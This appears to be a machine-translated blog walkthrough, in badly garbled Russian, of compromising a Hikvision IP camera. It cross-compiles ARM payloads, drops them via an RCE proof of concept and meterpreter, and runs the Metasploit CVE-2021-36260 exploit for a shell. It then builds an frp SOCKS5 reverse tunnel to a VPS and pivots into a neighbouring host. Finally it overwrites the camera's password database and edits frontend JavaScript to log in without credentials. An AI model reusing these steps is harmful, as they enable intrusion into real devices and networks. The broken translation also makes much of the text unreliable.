arm-linux-gnueabi-gcc
Нет проблем, можно скомпилировать с помощью системы из gcc
?
Действительно,настеперь это значит дать ARM
Использование платформы, тогда вам нужно использовать arm-linux-gnueabi-gcc
руководитькомпилировать
снова make menuconfig
uClibc development/debugging options
Cross-compiling toolchain prefix -> arm-linux-gnueabi-
снова
make
make install
снова Отчет об ошибке
Похоже, нам нужна Конфигурация kernel headers
Target Architecture Features and Options
Linux kernel header location
снова make
Возникла новая ошибка. Я проверил информацию в Интернете и не знаю, как ее решить.
взгляни uClibc
Официальный сайт, найден Понятноэтот
https://uclibc.org/toolchains.html
этотвнутрилапша说хотетькомпилировать GNU binutils
、GCC
、uClibc
Формируя цепочку инструментов, существование позади нас обнаружило Понятно хорошую вещь —— buildroot
,После проверки онлайн,Есть много инструментов для похожейиз
https://buildroot.org/
https://buildroot.org/
Справочник по процессу установки https://www.zhiwanyuzhou.com/index.php/2022/07/17/%E4%BD%BF%E7%94%A8buildroot%E 5%88%B6%E4%BD%9C%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91%E5%B7%A5%E5%85%B7%E9% 93%БЭ/ Официальное руководство http://nightly.buildroot.org/manual.pdf
# Установка частично зависит от программного обеспечения.
sudo apt update
sudo apt install gcc make libncurses5-dev
sudo apt install qemu-user
# скачать
wget https://buildroot.org/downloads/buildroot-2024.02.tar.gz
# Разархивировать
tar -zxvf buildroot-2024.02.tar.gz
cd buildroot-2024.02/
# компилировать Конфигурация
make menuconfig
Знакомая страница вернулась Понятно
Target options
Target Architecture -> ARM (little endian)
Target Architecture Variant -> arm926t
Остальную часть этой части трогать не нужно.
Toolchain
C library -> uClibc-ng
Kernel Headers -> Manually specified Linux version
linux version -> 3.0.8
Custom kernel headers series -> 3.0.x
Enable C++ support -> *
этотвнутрилапшаиз Ядро Версия 3.0.8
дапроходитьсуществовать Цельсистемаосуществлять cat /proc/version
выйти из
держать
# компилировать
make toolchain -j4 V=0
Эту часть можно легко решить, если сообщается об ошибке, например «Установить». g++
Эта часть очень, очень длинная, даже
uClibc
官网Все建议насидти吃одининдивидуальный Вкусно и полезноизбутерброд,выпить газировку,позвонить другу,Играйте в видеоигры,Тогда найди чем заняться,я просто собираюсь пообедать
существоватьэтотиндивидуальныйпроцесссерединавстречаскачать Многоиздокумент,Если места недостаточно, он выйдет из строя.,Поскольку у меня уже существовали другие каталоги, скомпилированные до того, как Понятно,этот Второсортныйвнесейчас Понятнокомпилироватьнеудача,После удаления документа, чтобы пространство успешно скомпилировалось,Общий размер следующий
Можетксуществоватькомпилировать Местосуществоватьиз Оглавлениеизотносительно Оглавлениепопытаться найтиприезжатькомпилироватьхорошийизgcc
./output/host/bin/
Добавьте эту папку в переменные среды
echo "export PATH=\$PATH:$(pwd)" >> ~/.bashrc
source ~/.bashrc
протестируй это
arm-linux-gcc --version
Успешно добавьте в переменную среды, ксуществовать можно вызвать напрямую Понятно из любого каталога
arm-linux-gcc -static hello.c
использовать qemu
Имитировать тестосуществлять успешно Понятно, объем 113K
размер,проходить meterpreter
Загрузить в целевую систему
Выполнено успешно! ! ! но 113K
этотиндивидуальныйразмервсе еще немного великоват Понятно, попробуйте скомпилировать динамическую ссылку из программы
arm-linux-gcc hello.c
размер 7.3K
, можно ли запустить взгляни, этот размер в любой точке можно использовать напрямую PoC
загрузить
Успех! ! !
После удаления символа информация 5.2K
Постарайтесь не использовать его в этот раз SSH
, полностью использован RCE
лазейки
Исправлять frpc.toml
serverAddr = "192.168.1.125"
serverPort = 7000
[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 1080
[proxies.plugin]
type = "socks5"
Воля frpc
и frpc.toml
Упаковать, переименовать для a
Конфигурация FRP
монитор
bindPort = 7000
проходить PoC
загрузитьскачатьустройство,истроить HTTP
сервер
Подождите немного, пока он завершит передачу
скачатьустройствовстреча Волядокументскачатьтебеосуществлятьскачатьустройствоиздокументпапка Вниз,而Нетдаскачатьустройствосам Местосуществоватьиздокументпапка Вниз
Разархивировать frpc
,также Сразуда payload
документ
существованиеэтот в критический момент,Действительно,это Система камер снова вышла из строя Понятно,Кажется Реальная производительностьсуществовать Тревожно,Конечно, это для наших дополнительных нужд.
Повторить тест
снова Авария,Но это меня совсем не беспокоит,нас Воля frpc
и frpc.toml
Названы соответственно для a
, затем скачай дважды
Все готово,синий старт Создать агента Очистить
Нетактерское мастерство Учреждатьуспех,проходитьsshначальствоидтиосуществлятьодин Внизвзгляни
Проверьте это Hash
Кажетсяэтот frp
из arm
версия не совместима с этой
Создайте среду GO
https://go.dev/doc/install
wget https://dl.google.com/go/go1.22.1.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
тянуть frp
исходный код
git clone https://github.com/fatedier/frp.git
статическийкомпилировать frpc
export GOARCH=arm
export GOARM=5 # Соответствует архитектуре ARMv5.
export CGO_ENABLED=1
export CC=/home/join/download/buildroot-2024.02/output/host/bin/arm-linux-gcc
export CXX=/home/join/download/buildroot-2024.02/output/host/bin/arm-linux-g++
go env -w GOPROXY=https://goproxy.cn,direct
go build -ldflags '-extldflags "-static" -s -w' -tags netgo -o frpc_arm_v5 cmd/frpc/*.go
этотвнутрисредапеременная CC
и CXX
Ответьте нам соответственно buildroot
генерироватьиз gcc
к И g++
VPS (192.168.1.125)
./frps -c frps.toml
камера жертвы
загрузитьскачатьустройство -> скачать frpc
-> скачать frpc.toml
-> Создать агента
осуществлять frpc -c frpc.toml
Агент успешно получен
Успешно прибыло 192.168.1.126
на самом деле Metasploit
Пойдем со мной CVE-2021-36260
из Payload
,Чрезвычайно удобно атаковать
search CVE-2021-36260
Заполните раздел информация
set rhost 192.168.1.64
set lhost 192.168.1.125
show targets
set target Linux Dropper
exploit
Похоже, мы делали это раньше echo
Операция та же самая
Успешно получено shell
от 192.168.1.125
доступ 192.168.1.126
есть доступ Не имеет смыслаиз
Добавить маршрут
Потому что для себя VPS
Просто в 192.168.1.0
этотиндивидуальныйчасть Понятно,этот Образецнас Сразупрямойдобавить в Один прибывает 192.168.1.126
маршрутизация
route add 192.168.1.126 255.255.255.255 192.168.1.64
Конфигурация socks5
актерское мастерство,монитор 1080
порт
использоватьактерское мастерстводоступограниченная сеть
https://github.com/jorhelp/Ingram/discussions/9
Найдите расположение базы данных по ссылке выше /devinfo/ipc_db
,да sqlite3
База данных, доступна киспользовать DB Broswer
Открыть,Позже можно перезаписать исходную базу данных.,Перезапускназад Вступить в силу
Мы обсудили два варианта
resetParam
Очистить пароль администратора, пользователь по умолчанию admin
user/userpass
) После шифрования результат напрямую отправляется в таблицу паролей пользователей.Кажется, что оба случая решают проблему, но они не универсальны.
Первый метод из resetParam
и Нет见придетсясуществовать Местоиметьиз Состояние Вниз Всеиметь,или сказал, что есть,Не каждый сможет его найти.,Также можно настроить вторую часть проверки «Понимание», найдя производителя оборудования «Понимание»;
Второй метод кажется идеальным,но Предпосылка такова, что мы знали изинформация,Как получить информацию может быть проблемой,Не всегда можно купить устройство и искать устройство для хранения слабых паролей.
Оба метода можно немного улучшить. Я предлагаю более общее решение.
Воля passwd
запись изValue сохранить и оставить пустой
:b0:f:2c:fa:d9:a6:42:2f:c5:5c:78:26:1f:6f:f3:39
Конечно, мы можем выполнить поиск этих устройств и пользователя-администратора по умолчанию. admin
,от формата логин и пароль кодируются одинаково, поэтому установка пароля и логина тоже должна быть возможной, но это не универсально, то что пароль шифруется, а имя пользователя не шифруется, поэтому. кнасвсе ещевыбирать Воляпаролькосмос
держать
Перезагрузите устройство после перезаписи
Просто дайте нам Исправить пароль
успех Авторизоваться За кулисами
Новый user/user1234
Попробуйте с новым пользователем Авторизоваться
В это время вновь созданные права пользователя и Нет admin
такой большой
копировать admin
из Разрешение предоставлено user
,восстанавливаться admin
изпароль
можно увидеть, уже имеет права администратора Понятно, нодобавить, удалить пользователя и его пока нельзя использовать, да серый из,Думаю, это может быть проблема с интерфейсом
Воля disabled="disabled"
удалить
Доступна ли функция thisbackвзгляни?
Добавить обычного пользователя demo
пытатьсяиспользовать demo
Авторизоваться
Можем попробовать оператор demo
Будут ли какие-либо проблемы с разрешениями? Создайте учетную запись.
К счастью, Нетэтот — основная ошибка.
пытатьсяиспользовать admin
оказатьсяизпарольруководить Авторизоваться,Взгляни успешно восстановлены?
успех Авторизоваться
существуют во многих системах,База данных Direct Исправлять не позволяет пользователям напрямую Исправлять пароль из,Вместо этого для Авторизации требуется пустой пароль.,на самом делесуществоватьэтотиндивидуальныйсистеманачальствоудалять Понятно admin
То же самое справедливо и для пользователей. На ранней стадии Нет напрямую. admin
Начав, вы столкнетесь с более общей ситуацией. Далее мы покажем, как это сделать. user
из Пароль очистить, затем Авторизоваться За кулисами
Перезапускназадпытатьсяиспользовать user
Счет Авторизоваться
это нормальная ситуация,Оставьте наш пароль Воля пустым Понятно,но Система непозволятьпустой пароль Авторизоваться,Мы можем увидеть, позволяет ли передняя часть серверной части,Захват пакетов
Кажется, это интерфейс из-за ограничений,Можем ли мы напрямую перехватить пакет?,Исправлять Шерстяная ткань?
Пароль зашифрован, стараемся оставлять его пустым
Вызовет ошибку формата, получите новый из sessionID
,Изназадпрямойудалить password
этоттегтест
все еще Ошибка формата,Кажетсяэтоти НетдаXML
из проблемы, но в интерфейсе указан формат Понятно
Это не имеет значения,Проблемы и темы фронтенда,Решите проблему с фронтендом,толькохороший Из前给大家介绍Проходить javascript
И наоборот, это следует практиковать. Понятно.
копироватьпроситьиз URL
http://192.168.1.64/ISAPI/Security/sessionLogin
добавить в xhr
точка останова
использовать user
Добавьте любой пароль к аккаунту, к 1234
Например,Авторизоваться
можно увидеть,точка остановасуществовать Положение стрелки на картинке, вывести его на консоль b.hasContent
иb.data
можно увидеть это уже зашифровано из данных Понятно, отточка остановка в соответствии со стеком вызовов вперед, чтобы найти текстовый пароль, существующий где
Можно проследить по кусочкам
можно увидетьсуществоватьэтотиндивидуальный doLogin
Понятно, что пароль из простого текста появляется повсюду. 1234
,нассуществоватьэтотдобавить вточка останова
выпускать debug
,сновапредставлять на рассмотрение user/1234
,веб-страницасуществоватьточка Остановиться на остановке
В этом тексте есть очень странный отрывок.
"anonymous" === $scope.username && (a = "******")
Нет понимает, о чем идет речь. Конечно, я пытался Авторизоваться, и Нет, дело не в этом. остановав Исправлятьпеременная a
изценить
выпускатьточка останова,позволятьпрограммапродолжатьосуществлять
по тесту,этотвнутрииз Исправить пароль хотя интерфейс есть,но не знает пароля Исправлять,Местокнаспрямойвыбирать Отмена
Успешно введен кулисами,якнигакдля admin
Счеттакжевстречаопытэтотабзац,Я не ожидал, что мне придется просто сбросить пароль. Понятно.,Все абзацы в основном предназначены для того, чтобы показать вам расширение.
существования В предыдущем разделе мы рассмотрели некоторые функции в базе данных.,существуют В процессе перелистывания базы данных из,Откройте для себя Понятно другое интересное из таблиц
security_config
Например, здесь задействовано много конфигураций. web_auth
、ssh_enable
,ядумать Понятноэтотиндивидуальныйлазейкииз Обнаружить ВОЗ曾提приезжать Проходить Запрещатьweb
Сертификация, не знаю, есть ли она в наличии, эффекта нет после теста, может быть это устройство Не поддерживается Бар
https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
носуществовать Исправлятьэтот некоторый ряд данных, сработал один раз Basic
Сертификация,существовать Basic
Сертификацию можно провести напрямую user
Если вы добавите пустой пароль для «Авторизоваться, носноватестиз», он не появится.
socks_param
это я не знаю, можно ли открыть саму систему актерское мастерствовсе ещесистемаподдерживатьиспользоватьактерское мастерство,наспытатьсясуществовать За кулисамивзглянииметь Нетактерское мастерство Функция
и не найденои socks
Связанный, все функции в этом наборе либо универсальны и подключаются только к маленькой камере, либо она идет в комплекте с системой. мастерство Функция,Стараемся Исправлять базу данных,взгляни Могут ли быть неожиданные сюрпризы?
перезаписать, перезапустить
Кажетсяи Нет行,Сразуприезжатьэтотвнутри Понятно
Теперь я наконец могу хорошо выспаться Понятно...
Если вы видите этори Понятно,Возможно, вас заинтересуют эти статьи,Если вы также страдаете от Неттестсреда,Связаться с нами,Наша камера Воляэтот представлена Вам,Вы можете оплатить почтовые расходы